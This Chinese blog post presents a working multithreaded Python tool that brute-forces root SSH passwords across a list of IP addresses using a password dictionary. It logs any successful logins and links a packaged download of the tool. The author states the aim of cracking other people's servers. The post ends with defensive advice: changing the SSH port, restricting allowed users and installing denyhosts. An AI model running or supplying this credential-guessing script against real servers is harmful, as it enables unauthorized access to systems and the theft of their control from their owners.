python多线程ssh爆破

  • 发表于
  • Crack

0x01.About

这几天发现朋友的服务器22被人爆了,于是想想,也想去爆别人服务器。

爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入。

主要使用到的是python的paramiko模块和多线程threading模块。

那么,首先要准备的是字典dict、服务器ip表。

东西很简单,主要默认目录如下:

|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password

ip和password按照一行一个放置。

0x02.Code

下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h

#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os

class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split('\n')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()

def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split('\n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py 使用说明:\n\
python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")
exit(1)

if __name__ == '__main__':

fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" 
dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)

结果比较丑,自己爆自己服务器:

crackssh

0x03.Solution

怎么办呢?防止被人爆菊,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:

1.修改iptables

首先要过防火墙,修改防火墙规则:

/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT

保存规则:

service iptables save

重启防火墙:

service iptables restart

2.修改ssh配置文件

cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

修改ssh端口:

vim /etc/ssh/sshd_config

在端口#Port 22下面增加Port 2333

vim /etc/ssh/ssh_config

在端口#Port 22下面增加Port 2333

重启ssh服务:

service sshd restart

3.其他修改

限制用户的SSH访问

假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加

vim /etc/ssh/sshd_config

修改下面一行:

AllowUsers xiaocao homeway

另外建议直接安装denyhosts

打包下载

https://pan.baidu.com/s/1kUOnFZh,密码:yhna

相关参考

http://homeway.me/2015/06/20/python-violence-ssh-attack/
http://www.cnblogs.com/cbreeze/p/5843043.html
http://www.backlion.org/archives/3476